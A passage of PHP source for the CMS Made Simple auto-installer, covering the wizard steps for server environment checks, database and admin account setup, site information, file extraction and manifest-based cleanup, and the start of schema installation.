                    $t3 = new _tests_\boolean_test('session_save_path_writable',@\is_writable($tmp));
                    $t3->required = 1;
                    $t3->fail_key = 'fail_session_save_path_writable';
                    $tests[] = $t3;
                }
            }
        }

        // recommended test ... E_STRICT disabled
        $orig_error_level = $app->get_orig_error_level();
        $obj = new _tests_\boolean_test('errorlevel_estrict',!($orig_error_level & \E_STRICT));
        $obj->warn_key = 'estrict_enabled';
        $tests[] = $obj;

        // recommended test ... E_DEPRECATED disabled
        $obj = new _tests_\boolean_test('errorlevel_edeprecated',!($orig_error_level & \E_DEPRECATED));
        $obj->warn_key = 'edeprecated_enabled';
        $tests[] = $obj;

        // required test ... MEMORY LIMIT
        $memory_limit = \ini_get('memory_limit');
        if( $memory_limit >= 0 ) {
            $obj = new _tests_\range_test('memory_limit',$memory_limit);
            $obj->minimum = '16M';
            $obj->recommended = '32M';
            $obj->pass_msg = \ini_get('memory_limit');
            $obj->fail_msg = \__appbase\lang('fail_memory_limit', \ini_get('memory_limit'), $obj->minimum, $obj->recommended);
            $obj->warn_msg = \__appbase\lang('warn_memory_limit', \ini_get('memory_limit'), $obj->minimum, $obj->recommended);
            $obj->required = 1;
            $tests[] = $obj;
        } else {
            $obj = new _tests_\boolean_test('memory_limit',true);
            $obj->pass_msg = \__appbase\lang('pass_memory_limit_nolimit');
            $obj->required = 1;
            $tests[] = $obj;
        }

        // required test ... safe mode
        $obj = new _tests_\boolean_test('safe_mode',_tests_\test_is_false(\ini_get('safe_mode')));
        $obj->required = 1;
        $obj->fail_key = 'fail_safe_mode';
        $tests[] = $obj;

        // required test ... file upload
        $obj = new _tests_\boolean_test('file_uploads',_tests_\test_is_true(\ini_get('file_uploads')));
        $obj->required = 1;
        $obj->fail_key = 'fail_file_uploads';
        $tests[] = $obj;

        // upload max filesize
        $obj = new _tests_\range_test('upload_max_filesize', \ini_get('upload_max_filesize'));
        $obj->minimum = '1M';
        $obj->recommended = '10M';
        $obj->required = 1;
        $obj->warn_msg = \__appbase\lang('warn_upload_max_filesize', \ini_get('upload_max_filesize'), $obj->recommended);
        $tests[] = $obj;

        // xml extension
        $obj = new _tests_\boolean_test('xml_functions',_tests_\test_extension_loaded('xml'));
        $obj->required = 1;
        $obj->fail_key = 'fail_xml_functions';
        $tests[] = $obj;

        // recommended test ... max_execution_time
        $v = (int) \ini_get('max_execution_time');
        if(0 !== $v) {
            $obj = new _tests_\range_test('max_execution_time',$v);
            $obj->minimum = 30;
            $obj->recommended = 60;
            $obj->required = 1;
            $obj->warn_msg = \__appbase\lang('warn_max_execution_time', \ini_get('max_execution_time'), $obj->minimum, $obj->recommended);;
            $obj->fail_msg = \__appbase\lang('fail_max_execution_time', \ini_get('max_execution_time'), $obj->minimum, $obj->recommended);;
            $tests[] = $obj;
        }

        // recommended test ... post_max_size
        $obj = new _tests_\range_test('post_max_size', \ini_get('post_max_size'));
        $obj->minimum = '2M';
        $obj->recommended = '10M';
        $obj->warn_msg = \__appbase\lang('warn_post_max_size', \ini_get('post_max_size'), $obj->minimum, $obj->recommended);
        $obj->fail_key = 'fail_post_max_size';
        $tests[] = $obj;

        // recommended test (register globals)
        // we are way past php 5.3...
//        $obj = new _tests_\boolean_test('register_globals',!\ini_get('register_globals'));
//        $obj->required = 1;
//        $obj->fail_key = 'fail_register_globals';
//        $tests[] = $obj;

        // recommended test ... output buffering
        $obj = new _tests_\boolean_test('output_buffering', \ini_get('output_buffering'));
        $obj->fail_key = 'fail_output_buffering';
        $tests[] = $obj;

        // recommended test .... disable functions
        $obj = new _tests_\boolean_test('disable_functions', '' == \ini_get('disable_functions'));
        $obj->warn_msg = \__appbase\lang('warn_disable_functions', \str_replace(',', ', ', \ini_get('disable_functions')));
        $tests[] = $obj;

        // recommended test... remote_url
        $obj = new _tests_\boolean_test('remote_url',_tests_\test_remote_file('https://www.cmsmadesimple.org/latest_version.php',3,'cmsmadesimple'));
        $obj->fail_key = 'fail_remote_url';
        $obj->warn_key = 'fail_remote_url';
        $tests[] = $obj;

        // curl extension
        $obj = new _tests_\boolean_test('curl_extension',_tests_\test_extension_loaded('curl'));
        $obj->fail_key = 'fail_curl_extension';
        $tests[] = $obj;

        // file get contents.
        $obj = new _tests_\boolean_test('file_get_contents', \function_exists('file_get_contents'));
        $obj->required = 1;
        $obj->fail_key = 'fail_file_get_contents';
        $tests[] = $obj;

        // test ini set
        # not sure if this works with php 8.0 or above??? revisit (JM)
        {
            $val = (\ini_get('log_errors_max_len')) ? \ini_get('log_errors_max_len') . '0':'99';
            \ini_set('log_errors_max_len', $val);
            $obj = new _tests_\boolean_test('ini_set', \ini_get('log_errors_max_len') == $val);
            $obj->fail_key = 'fail_ini_set';
            $tests[] = $obj;
        }

        //
        // now run the tests
        // if all tests pass
        //   display warm fuzzy message
        //   user can continue
        // else if a required test fails
        //   display failed tests (or all tests for verbose mode)
        //   user cant continue
        // otherwise
        //   display failed tests (or all tests for verbose mode)
        //   user can continue
        $can_continue = TRUE;
        $tests_failed = FALSE;
        $results = [];
        foreach($tests as $iValue)
        {
            $res = $iValue->run();
            if($res == $iValue::TEST_FAIL ) {
                $tests_failed = TRUE;
                $results[] = $iValue;
                if( $iValue->required ) {
                    $can_continue = FALSE;
                }
                else {
                    $iValue->status = $iValue::TEST_WARN;
                }
            }
        }
        if( !$verbose ) $tests = $results;
        
        return [$tests_failed, $can_continue];
    }
    
    /**
     * @throws \SmartyException
     */
    protected function display()
    {
        parent::display();
        $verbose = $this->get_wizard()->get_data('verbose',0);
        $informational = '';
        $tests = '';
        [$tests_failed,$can_continue] = $this->perform_tests($verbose,$informational,$tests);

        $app = \__appbase\get_app();
        $smarty = \__appbase\smarty();
        $smarty->assign('tests_failed',$tests_failed);
        $smarty->assign('can_continue',$can_continue);
        $smarty->assign('verbose',$verbose);
        $smarty->assign('retry_url',$_SERVER['REQUEST_URI']);
        if( $verbose ) $smarty->assign('information',$informational);
        if( \count($tests) )	$smarty->assign('tests', $tests);
        $url = $this->get_wizard()->next_url();
        $smarty->assign('next_url',$url);

        // todo: urls for retry, and enable verbose mode.
        $smarty->display('wizard_step3.tpl');
        $this->finish();
    }

    private function _get_session_save_path()
    {
        $path = \ini_get('session.save_path');
        if(FALSE !== ($pos = \strpos($path, ';'))) $path = \substr($path, $pos + 1);

        if( $path ) return $path;
    }

    private function _GDVersion()
    {
        static $gd_version_number = null;

        if(NULL === $gd_version_number) {
            if(\extension_loaded('gd')) {
                if(\defined('GD_MAJOR_VERSION')) {
                    $gd_version_number = \GD_MAJOR_VERSION;
                    return $gd_version_number;
                }
                $gdinfo = @\gd_info();
                if(\preg_match('/\d+/', $gdinfo['GD Version'], $gdinfo)) {
                    $gd_version_number = (int) $gdinfo[0];
                } else {
                    $gd_version_number = 1;
                }
                return $gd_version_number;
            }
            $gd_version_number = 0;
        }

        return $gd_version_number;
    }

} // end of class

?>
<?php

namespace cms_autoinstaller;
use \__appbase;

class wizard_step4 extends \cms_autoinstaller\wizard_step
{
    private $_config;
    private $_dbms_options;

    public function __construct()
    {
        parent::__construct();

        $tz = \date_default_timezone_get();
        if(!$tz) @\date_default_timezone_set('UTC');
      $this->_config = [
        'dbtype'        => '',
        'dbhost'        => 'localhost',
        'dbname'        => '',
        'dbuser'        => '',
        'dbpass'        => '',
        'dbprefix'      => 'cms_',
        'dbport'        => '',
        'samplecontent' => TRUE,
        'query_var'     => '',
        'timezone'      => $tz
      ];

        // get saved date
        $tmp = $this->get_wizard()->get_data('config');
        if($tmp) $this->_config = \array_merge($this->_config, $tmp);

        $databases = ['mysqli' =>'MySQLi (4.1+)'];
        $this->_dbms_options = [];
        foreach ($databases as $db => $lbl) {
            if( \extension_loaded($db) ) $this->_dbms_options[$db] = $lbl;
        }
        if( !\count($this->_dbms_options) ) throw new \RuntimeException(\__appbase\lang('error_nodatabases'));

        $action = $this->get_wizard()->get_data('action');
        if( $action == 'freshen' || $action == 'upgrade' ) {
            // read config data from config.php for freshen action.
            $app = \__appbase\get_app();
            $destdir = $app->get_destdir();
            
            /** @var  array $config from config.php */
            $config_file = $destdir.'/config.php';
            include_once($config_file);
            $this->_config['dbtype']   = $config['dbms'];
            $this->_config['dbhost']   = $config['db_hostname'];
            $this->_config['dbuser']   = $config['db_username'];
            $this->_config['dbpass']   = $config['db_password'];
            $this->_config['dbname']   = $config['db_name'];
            $this->_config['dbprefix'] = $config['db_prefix'];
            if( isset($config['db_port']) ) $this->_config['dbport'] = $config['db_port'];
            if( isset($config['query_var']) ) $this->_config['query_var'] = $config['query_var'];
            if( isset($config['timezone']) ) $this->_config['timezone'] = $config['timezone'];
        }
    }

    private function validate($config)
    {
      # TODO consider defining our own exceptions for this
        $action = $this->get_wizard()->get_data('action');
        if( !isset($config['dbtype']) || !$config['dbtype'] ) throw new \RuntimeException(\__appbase\lang('error_nodbtype'));
        if( !isset($config['dbhost']) || !$config['dbhost'] ) throw new \RuntimeException(\__appbase\lang('error_nodbhost'));
        if( !isset($config['dbname']) || !$config['dbname'] ) throw new \RuntimeException(\__appbase\lang('error_nodbname'));
        if( !isset($config['dbuser']) || !$config['dbuser'] ) throw new \RuntimeException(\__appbase\lang('error_nodbuser'));
        if( !isset($config['dbpass']) || !$config['dbpass'] ) throw new \RuntimeException(\__appbase\lang('error_nodbpass'));
        if('install' == $action && (!isset($config['dbprefix']) || !$config['dbprefix'] ) ) throw new \RuntimeException(\__appbase\lang('error_nodbprefix'));
        if( !isset($config['timezone']) || !$config['timezone'] ) throw new \RuntimeException(\__appbase\lang('error_notimezone'));

        $re = '/^[a-zA-Z0-9_\.]*$/';
        if( isset($config['query_var']) && $config['query_var'] && !\preg_match($re, $config['query_var']) ) {
            throw new \RuntimeException(\__appbase\lang('error_invalidqueryvar'));
        }

        $all_timezones = \timezone_identifiers_list();
        if( !\in_array($config['timezone'], $all_timezones) ) throw new \RuntimeException(\__appbase\lang('error_invalidtimezone'));

        if( $config['dbpass'] ) {
            if(FALSE !== \strpos($config['dbpass'], "'") || FALSE !== \strpos($config['dbpass'], '\\')) {
                throw new \RuntimeException(\__appbase\lang('error_invaliddbpassword'));
            }
        }

        // try a test connection
        $spec           = new \CMSMS\Database\ConnectionSpec;
        $spec->type     = $config['dbtype'];
        $spec->host     = $config['dbhost'];
        $spec->username = $config['dbuser'];
        $spec->password = $config['dbpass'];
        $spec->dbname   = $config['dbname'];
        $spec->port     = $config['dbport'] ?? NULL;
        $spec->prefix   = $config['dbprefix'];
        $db             = \CMSMS\Database\Connection::initialize($spec);
        $db->Execute("SET NAMES 'utf8'");

        // see if we can create and drop a table.
        try {
            $db->Execute('CREATE TABLE '.$config['dbprefix'].'_dummyinstall (i int)');
        }
        catch( \Exception $e ) {
            throw new \RuntimeException(\__appbase\lang('error_createtable'));
        }

        try {
            $db->Execute('DROP TABLE '.$config['dbprefix'].'_dummyinstall');
        }
        catch( \Exception $e ) {
            throw new \RuntimeException(\__appbase\lang('error_droptable'));
        }

        // see if a smattering of core tables exist
        if( $action == 'install' ) {
            try {
                $res = $db->GetOne('SELECT content_id FROM '.$config['dbprefix'].'content');
                if( $res > 0 ) throw new \RuntimeException(\__appbase\lang('error_cmstablesexist'));
            }
            catch( \CMSMS\Database\DatabaseException $e ) {
                // if this fails it's not a problem
            }

            try {
                $db->GetOne('SELECT module_name FROM '.$config['dbprefix'].'modules');
                if( $res > 0 ) throw new \RuntimeException(\__appbase\lang('error_cmstablesexist'));
            }
            catch( \CMSMS\Database\DatabaseException $e ) {
                // if this fails it's not a problem.
            }
        }
    }

    protected function process()
    {
      $tmp                       = \array_keys($this->_dbms_options);
      $this->_config['dbtype']   = $tmp[0];
      $this->_config['dbhost']   = \trim(\__appbase\utils::clean_string($_POST['dbhost']));
      $this->_config['dbname']   = \trim(\__appbase\utils::clean_string($_POST['dbname']));
      $this->_config['dbuser']   = \trim(\__appbase\utils::clean_string($_POST['dbuser']));
      $this->_config['dbpass']   = $_POST['dbpass'];
      $this->_config['timezone'] = \trim(\__appbase\utils::clean_string($_POST['timezone']));
      
      if(isset($_POST['dbtype']))
      {
        $this->_config['dbtype'] = \trim(\__appbase\utils::clean_string($_POST['dbtype']));
      }
      
      if(isset($_POST['dbport']))
      {
        $this->_config['dbport'] = \trim(\__appbase\utils::clean_string($_POST['dbport']));
      }
      
      if(isset($_POST['dbprefix']))
      {
        $this->_config['dbprefix'] = \trim(\__appbase\utils::clean_string($_POST['dbprefix']));
      }
      
      if(isset($_POST['query_var']))
      {
        $this->_config['query_var'] = \trim(\__appbase\utils::clean_string($_POST['query_var']));
      }
      
      if(isset($_POST['samplecontent']))
      {
        $this->_config['samplecontent'] = (int)$_POST['samplecontent'];
      }
      
      if(isset($_POST['optional_modules']))
      {
        $this->_config['optional_modules'] = (array)$_POST['optional_modules'];
      }
      else
      {
        if( $this->get_wizard()->get_data('verbose',0) )
        {
          $this->_config['optional_modules'] = [];
        }
        else
        {
          $this->_config['optional_modules'] = ['News', 'UserGuide'];
        }
      }
      
        $this->get_wizard()->set_data('config',$this->_config);

        try {
            $app = \__appbase\get_app();
            $config = $app->get_config();
            $this->validate($this->_config);
            $url = $this->get_wizard()->next_url();
            $action = $this->get_wizard()->get_data('action');
            if('freshen' == $action) $url = $this->get_wizard()->step_url(6);
            if('upgrade' == $action) {
                if( $config['nofiles'] ) {
                    $url = $this->get_wizard()->step_url(8);
                } else {
                    $url = $this->get_wizard()->step_url(7);
                }
            }
            \__appbase\utils::redirect($url);
        }
        catch( \Exception $e ) {
            $smarty = \__appbase\smarty();
            $smarty->assign('error',$e->GetMessage());
        }
    }
  
  /**
   * @throws \SmartyException
   */
  protected function display()
    {
        parent::display();
        $smarty = \__appbase\smarty();
        $tmp = \timezone_identifiers_list();
        
        # we default the optional modules to both News and UserGuide
        if(!isset($this->_config['optional_modules'])) $this->_config['optional_modules'] = ['News', 'UserGuide'];
        
        if( !\is_array($tmp) ) throw new \RuntimeException(\__appbase\lang('error_tzlist'));
        $tmp2 = \array_combine(\array_values($tmp), \array_values($tmp));
        
        $smarty_assign = [
          'timezones' => \array_merge(['' =>\__appbase\lang('none')], $tmp2),
          'dbtypes'   => $this->_dbms_options,
          'action'    => $this->get_wizard()->get_data('action'),
          'verbose'   => $this->get_wizard()->get_data('verbose',0),
          'config'    => $this->_config,
          'yesno'     => ['0' =>\__appbase\lang('no'), '1' =>\__appbase\lang('yes')],
          # labels are preceded by a ' '
          'optional_modules' => [
            'News' => ' News',
            'UserGuide' => ' User Guide'
          ]
        ];
        
        $smarty->assign($smarty_assign);
        $smarty->display('wizard_step4.tpl');
        $this->finish();
    }

} // end of class
<?php

namespace cms_autoinstaller;
use \__appbase;

class wizard_step5 extends \cms_autoinstaller\wizard_step
{
    private $_adminacct;

    public function __construct()
    {
        parent::__construct();
        $this->_adminacct = ['username' =>'admin', 'emailaddr' =>'', 'password' =>'', 'repeatpw' =>'', 'saltpw' =>1, 'emailaccountinfo' =>1];
        $tmp = $this->get_wizard()->get_data('adminaccount');
        if(\is_array($tmp) && \count($tmp) ) $this->_adminacct = $tmp;
    }

    private function validate($acct)
    {
        if( !isset($acct['username']) || '' == $acct['username']) throw new \Exception(\__appbase\lang('error_adminacct_username'));
        if( !isset($acct['password']) || '' == $acct['password'] || \strlen($acct['password']) < 6 ) {
            throw new \RuntimeException(\__appbase\lang('error_adminacct_password'));
        }
        if( !isset($acct['repeatpw']) || $acct['repeatpw'] != $acct['password'] ) {
            throw new \RuntimeException(\__appbase\lang('error_adminacct_repeatpw'));
        }
        if( isset($acct['emailaddr']) && $acct['emailaddr'] != '' && !\__appbase\utils::is_email($acct['emailaddr']) ) {
            throw new \RuntimeException(\__appbase\lang('error_adminacct_emailaddr'));
        }
        if( (!isset($acct['emailaddr']) || $acct['emailaddr'] == '') && $acct['emailaccountinfo'] ) {
            throw new \RuntimeException(\__appbase\lang('error_adminacct_emailaddrrequired'));
        }
    }

    protected function process()
    {
      $this->_adminacct['username']  = \trim(\__appbase\utils::clean_string($_POST['username']));
      $this->_adminacct['emailaddr'] = \trim(\__appbase\utils::clean_string($_POST['emailaddr']));
      $this->_adminacct['password']  = \trim(\__appbase\utils::clean_string($_POST['password']));
      $this->_adminacct['repeatpw']  = \trim(\__appbase\utils::clean_string($_POST['repeatpw']));
        
        if( isset($_POST['saltpw']) ) $this->_adminacct['saltpw'] = (int)$_POST['saltpw'];
        $this->_adminacct['emailaccountinfo'] = 1;
        if( isset($_POST['emailaccountinfo']) ) $this->_adminacct['emailaccountinfo'] = (int)$_POST['emailaccountinfo'];

        $this->get_wizard()->set_data('adminaccount',$this->_adminacct);
        try {
            $this->validate($this->_adminacct);
            $url = $this->get_wizard()->next_url();
            \__appbase\utils::redirect($url);
        }
        catch( \Exception $e ) {
            $smarty = \__appbase\smarty();
            $smarty->assign('error',$e->GetMessage());
        }
    }
  
  /**
   * @throws \SmartyException
   */
  protected function display()
    {
        parent::display();
        $smarty = \__appbase\smarty();

        $smarty->assign('verbose',$this->get_wizard()->get_data('verbose',0));
        $smarty->assign('account',$this->_adminacct);
        $smarty->assign('yesno', ['0' =>\__appbase\lang('no'), '1' =>\__appbase\lang('yes')]);
        $smarty->display('wizard_step5.tpl');
        $this->finish();
    }

} // end of class

?><?php

namespace cms_autoinstaller;
use \__appbase;

class wizard_step6 extends \cms_autoinstaller\wizard_step
{
    private $_siteinfo;

    public function run()
    {
        $app = \__appbase\get_app();

        $tz = \date_default_timezone_get();
        if( !$tz ) @\date_default_timezone_set('UTC');

        $this->_siteinfo = ['sitename' =>'', 'languages' =>[]];
        $tmp = $this->get_wizard()->get_data('config');
        if( $tmp ) $this->_siteinfo = \array_merge($this->_siteinfo, $tmp);
        $lang = \__appbase\translator()->get_selected_language();
        if('en_US' != $lang) $this->_siteinfo['languages'] = [$lang ];

        $tmp = $this->get_wizard()->get_data('siteinfo');
        if(\is_array($tmp) && \count($tmp) ) $this->_siteinfo = $tmp;
        return parent::run();
    }

    private function validate($siteinfo)
    {
        $action = $this->get_wizard()->get_data('action');
        if('freshen' !== $action) {
            if( !isset($siteinfo['sitename']) || !$siteinfo['sitename'] ) throw new \Exception(\__appbase\lang('error_nositename'));
        }
    }

    protected function process()
    {
        $app = \__appbase\get_app();
        $config = $app->get_config();

        if( isset($_POST['sitename']) ) $this->_siteinfo['sitename'] = \trim(\__appbase\utils::clean_string($_POST['sitename']));
        if( isset($_POST['languages']) ) {
            $tmp = [];
            foreach ( $_POST['languages'] as $lang ) {
                $tmp[] = \__appbase\utils::clean_string($lang);
            }
            $this->_siteinfo['languages'] = $tmp;
        }

        $this->get_wizard()->set_data('siteinfo',$this->_siteinfo);
        try {
            $this->validate($this->_siteinfo);
            $url = $this->get_wizard()->next_url();
            if( $config['nofiles'] ) $url = $this->get_wizard()->step_url(8);
            \__appbase\utils::redirect($url);
        }
        catch( \Exception $e ) {
            $smarty = \__appbase\smarty();
            $smarty->assign('error',$e->GetMessage());
        }
    }
    
    /**
     * @throws \SmartyException
     */
    protected function display()
    {
        parent::display();
        $action = $this->get_wizard()->get_data('action');

        $smarty = \__appbase\smarty();
        $smarty->assign('action',$action);
        $smarty->assign('verbose',$this->get_wizard()->get_data('verbose',0));
        $smarty->assign('siteinfo',$this->_siteinfo);
        $smarty->assign('yesno', ['0' =>\__appbase\lang('no'), '1' =>\__appbase\lang('yes')]);
        $languages = \__appbase\get_app()->get_language_list();
        unset($languages['en_US']);
        $smarty->assign('language_list',$languages);

        $smarty->display('wizard_step6.tpl');
        $this->finish();
    }
} // end of class

?>
<?php

namespace cms_autoinstaller;
use \__appbase;

class wizard_step7 extends \cms_autoinstaller\wizard_step
{
    protected function process()
    {
        // nothing here
    }

    private function _createIndexHTML($filename)
    {
        $str = '<!-- DUMMY HTML FILE -->';
        \file_put_contents($filename, $str);
    }

    private function detect_languages()
    {
        $this->message(\__appbase\lang('install_detectlanguages'));
        $destdir = \__appbase\get_app()->get_destdir();

        $nlsdir = "$destdir/lib/nls";
        $pattern = "$nlsdir/*nls.php";
        $files = \glob($pattern);
        if(!\is_array($files) || 0 == count($files)) throw new \RuntimeException(\__appbase\lang('error_internal', 750));

        foreach( $files as &$one ) {
            $fn = \basename($one);
            $one = \substr($fn, 0, \strlen($fn) - \strlen('.nls.php'));
        }
        return $files;
    }

    private function do_index_html()
    {
        $this->message(\__appbase\lang('install_dummyindexhtml'));

        $destdir = \__appbase\get_app()->get_destdir();
        if( !$destdir ) throw new \Exception(\__appbase\lang('error_internal',751));
        $archive = \__appbase\get_app()->get_archive();
        $phardata = new \PharData($archive);
        $archive = \basename($archive);
        foreach( new \RecursiveIteratorIterator($phardata) as $file => $it ) {
            if(FALSE === ($p = \strpos($file, $archive))) continue;
            $fn = \substr($file, $p + \strlen($archive));
            $dn = $destdir . \dirname($fn);
            if( $dn == $destdir || $dn == $destdir.'/' ) continue;
            if( $dn == "$destdir/admin" ) continue;
            $idxfile = $dn.'/index.html';
            if(\is_dir($dn) && !\is_file($idxfile) )  $this->_createIndexHTML($idxfile);
        }
    }
  
  /**
   * @throws \Exception
   */
  private function do_files($langlist = null)
    {
      # TODO - we need to have an alternative routine only for uploads,
      #        to be able to check for deleted theme folders and not create them again
      #         (JM)
        $languages = ['en_US'];
        $siteinfo = $this->get_wizard()->get_data('siteinfo');
        if(\is_array($siteinfo) && \is_array($siteinfo['languages']) && \count($siteinfo['languages']) ) $languages = \array_merge($languages, $siteinfo['languages']);
        if(\is_array($langlist) && \count($langlist) ) $languages = \array_merge($languages, $langlist);
        $languages = \array_unique($languages);

        $destdir = \__appbase\get_app()->get_destdir();
        if( !$destdir ) throw new \RuntimeException(\__appbase\lang('error_internal', 601));
        $archive = \__appbase\get_app()->get_archive();

        $this->message(\__appbase\lang('install_extractfiles'));
        $phardata = new \PharData($archive);
        $archive = \basename($archive);
        $filehandler = new \cms_autoinstaller\install_filehandler();
        $filehandler->set_languages($languages);
        $filehandler->set_destdir($destdir);
        $filehandler->set_output_fn('\cms_autoinstaller\wizard_step6::verbose');
        foreach( new \RecursiveIteratorIterator($phardata) as $file => $it ) {
            if(FALSE === ($p = \strpos($file, $archive))) continue;
            $fn = \substr($file, $p + \strlen($archive));
            $filehandler->handle_file($fn,$file,$it);
        }
    }

    private function do_manifests()
    {
        // get the list of all available versions that this upgrader knows about
        $app = \__appbase\get_app();
        $app_config = $app->get_config();
        $upgrade_dir =  $app::get_appdir().'/upgrade';
        if( !\is_dir($upgrade_dir) ) throw new \RuntimeException(\__appbase\lang('error_internal', 710));
        $destdir = $app->get_destdir();
        if( !$destdir ) throw new \RuntimeException(\__appbase\lang('error_internal', 711));

        $version_info = $this->get_wizard()->get_data('version_info');
        $versions = utils::get_upgrade_versions();
        if(\is_array($versions) && \count($versions) ) {
            $this->message(\__appbase\lang('cleaning_files'));
            foreach( $versions as $one_version ) {
                if(\version_compare($one_version, $version_info['version']) < 1 ) continue;

                // open the manifest
                // check the to version info
                $manifest = new manifest_reader("$upgrade_dir/$one_version");
              
              if($one_version != $manifest->to_version())
              {
                throw new \RuntimeException(\__appbase\lang('error_internal', 712));
              }

                // delete all files marked for deletion
                // if they are supposed to be in the installation,
                // the copy from the archive will restore them.
                $deleted  = $manifest->get_deleted();
                $ndeleted = 0;
                $nfailed  = 0;
                $nmissing = 0;
                
                if(\is_array($deleted) && \count($deleted) ) {
                    foreach( $deleted as $rec ) {
                        $fn = "{$destdir}{$rec['filename']}";
                        if( !\file_exists($fn) ) {
                            self::verbose("file $fn does not exist... but we planned to delete it anyway");
                            $nmissing++;
                        }
                        else if( !\is_writable($fn) ) {
                            $this->error("file $fn is not writable, could not delete it");
                            $nfailed++;
                        }
                        else {
                            if( \is_dir($fn) ) {
				if( \is_file($fn . '/index.html') ) @\unlink($fn . '/index.html');
                                $res = @\rmdir($fn);
				if( !$res ) {
				    $this->error('problem removing directory: '.$fn);
				    $nfailed++;
 				} else {
                                    self::verbose('removed directory: ' . $fn);
                                    $ndeleted++;
				}
                            }
                            else {
                                $res = @\unlink($fn);
                                if( !$res ) {
                                    $this->error("problem deleting: $fn");
                                    $nfailed++;
                                }
                                else {
                                    self::verbose('removed file: ' . $fn);
                                    $ndeleted++;
                                }
                            }
                        }
                    }
                }

                $this->message($ndeleted.' files/folders deleted for version '.$one_version . ': ' . $nmissing . ' missing, ' . $nfailed . ' failed');
            }
        }
    }
  
  /**
   * @throws \SmartyException
   */
    protected function display()
    {
        // here, we do either the upgrade, or the install stuff.
        parent::display();
        $action = $this->get_wizard()->get_data('action');
        \__appbase\smarty()->assign('next_url',$this->get_wizard()->next_url());
        if('freshen' == $action) {
            \__appbase\smarty()->assign('next_url',$this->get_wizard()->step_url(9));
        }
        echo \__appbase\smarty()->display('wizard_step7.tpl');
        \flush();

        // create index.html files in directories.
        try {
            $action = $this->get_wizard()->get_data('action');
            $tmp = $this->get_wizard()->get_data('version_info');
            if( $action == 'upgrade' && \is_array($tmp) && \count($tmp) ) {
                $languages = $this->detect_languages();
                $this->do_manifests();
                $this->do_files($languages);
            }
            else if('freshen' == $action) {
                $inst_languages = $this->detect_languages();
                $this->do_files($inst_languages);
            }
            else if('install' == $action) {
                $this->do_files();
            }
            else {
                throw new \RuntimeException(\__appbase\lang('error_internal', 705));
            }

            $this->do_index_html();
        }
        catch( \Exception $e ) {
            $this->error($e->GetMessage());
        }

        $this->finish();
    }

} // end of class
<?php

namespace cms_autoinstaller;
use \__appbase;

/**
 * At this point we assume the files have been copied to the destination
 * so that we can connect to the database and use a number of functions and classes
 * available in the CMSMS API
 *
 * Class wizard_step8
 * @package cms_autoinstaller
 */
class wizard_step8 extends \cms_autoinstaller\wizard_step
{
    protected function process()
    {
        // nothing here
    }
    
    /**
     * @throws \CMSMS\Database\ConnectionSpecException
     */
    private function db_connect($destconfig)
    {
        $spec = new \CMSMS\Database\ConnectionSpec;
        if( isset($destconfig['dbms']) ) {
            $spec->type     = $destconfig['dbms'];
            $spec->host     = $destconfig['db_hostname'];
            $spec->username = $destconfig['db_username'];
            $spec->password = $destconfig['db_password'];
            $spec->dbname   = $destconfig['db_name'];
            $spec->prefix   = $destconfig['db_prefix'];
        }
        else {
            $spec->type     = $destconfig['dbtype'];
            $spec->host     = $destconfig['dbhost'];
            $spec->username = $destconfig['dbuser'];
            $spec->password = $destconfig['dbpass'];
            $spec->dbname   = $destconfig['dbname'];
            $spec->port     = isset($destconfig['dbport']) ? $destconfig['dbport'] : NULL;
            $spec->prefix   = $destconfig['dbprefix'];
        }
        if( !\defined('CMS_DB_PREFIX')) \define('CMS_DB_PREFIX', $spec->prefix);
        $db = \CMSMS\Database\Connection::initialize($spec);
        $obj = $this;
        $db->SetErrorHandler(function() { /* do nohing */ });
        $db->Execute("SET NAMES 'utf8'");
        \CMSMS\Database\compatibility::noop();
        /** CmsApp instance will be available here after the files been copied */
        \CmsApp::get_instance()->_setDb($db);
        return $db;
    }

    private function connect_to_cmsms($destdir)
    {
        global $CMS_INSTALL_PAGE, $DONT_LOAD_DB, $DONT_LOAD_SMARTY, $CMS_VERSION, $CMS_PHAR_INSTALLER;
        $CMS_INSTALL_PAGE = 1;
        $DONT_LOAD_DB = 1;
        $DONT_LOAD_SMARTY = 1;
        $CMS_PHAR_INSTALLER = 1;
        $CMS_VERSION = $this->get_wizard()->get_data('destversion');

        // setup and initialize the cmsms API's
        // note DONT_LOAD_DB and DONT_LOAD_SMARTY are used.
        if( \is_file("$destdir/lib/include.php") ) {
            include_once("$destdir/lib/include.php");
        }
        else {
            throw new \RuntimeException('Could not find include.php file in destination');
        }

    }
    
    /**
     * @throws \CMSMS\Database\ConnectionSpecException
     */
    private function do_install()
    {
        $dir = \__appbase\get_app()->get_appdir().'/install';

        $destdir = \__appbase\get_app()->get_destdir();
        if( !$destdir ) throw new \RuntimeException(\__appbase\lang('error_internal', 700));

        $adminaccount = $this->get_wizard()->get_data('adminaccount');
        if( !$adminaccount ) throw new \RuntimeException(\__appbase\lang('error_internal', 701));

        $destconfig = $this->get_wizard()->get_data('config');
        if( !$destconfig ) throw new \RuntimeException(\__appbase\lang('error_internal', 703));

        $siteinfo = $this->get_wizard()->get_data('siteinfo');
        if( !$siteinfo ) throw new \RuntimeException(\__appbase\lang('error_internal', 704));

        // connect to the CMSMS API
        $this->connect_to_cmsms($destdir);

        // connect to the database
        $db = $this->db_connect($destconfig);

        include_once(__DIR__.'/msg_functions.php');

        try {
            // create some variables that the sub functions need.
            if( !\defined('CMS_ADODB_DT') ) \define('CMS_ADODB_DT', 'DT');
            $admin_user = null;
            $db_prefix = CMS_DB_PREFIX;

            // install the schema
            $this->message(\__appbase\lang('install_schema'));
            $fn = $dir.'/schema.php';
            if( !\file_exists($fn) ) throw new \RuntimeException(\__appbase\lang('error_internal', 705));

            global $CMS_INSTALL_DROP_TABLES, $CMS_INSTALL_CREATE_TABLES;
            $CMS_INSTALL_DROP_TABLES=1;
            $CMS_INSTALL_CREATE_TABLES=1;
            include_once($fn);

            self::verbose(\__appbase\lang('install_setsequence'));
            include_once($dir.'/createseq.php');

            if( $adminaccount['saltpw'] ) {
                self::verbose(\__appbase\lang('install_passwordsalt'));
                $salt = \substr(\str_shuffle(\md5($destdir) . \time()), 0, 16);
                \cms_siteprefs::set('sitemask',$salt);
            }
            
            $tmp_dir_errors = [];

            // create tmp directories
            self::verbose(\__appbase\lang('install_createtmpdirs'));
            if(!@\mkdir($concurrentDirectory = $destdir . '/tmp/cache', 0777, TRUE) && !\is_dir($concurrentDirectory))
            {
                $tmp_dir_errors[] = \sprintf('Directory "%s" was not created', $concurrentDirectory);
                //throw new \RuntimeException(\sprintf('Directory "%s" was not created', $concurrentDirectory));
            }
            
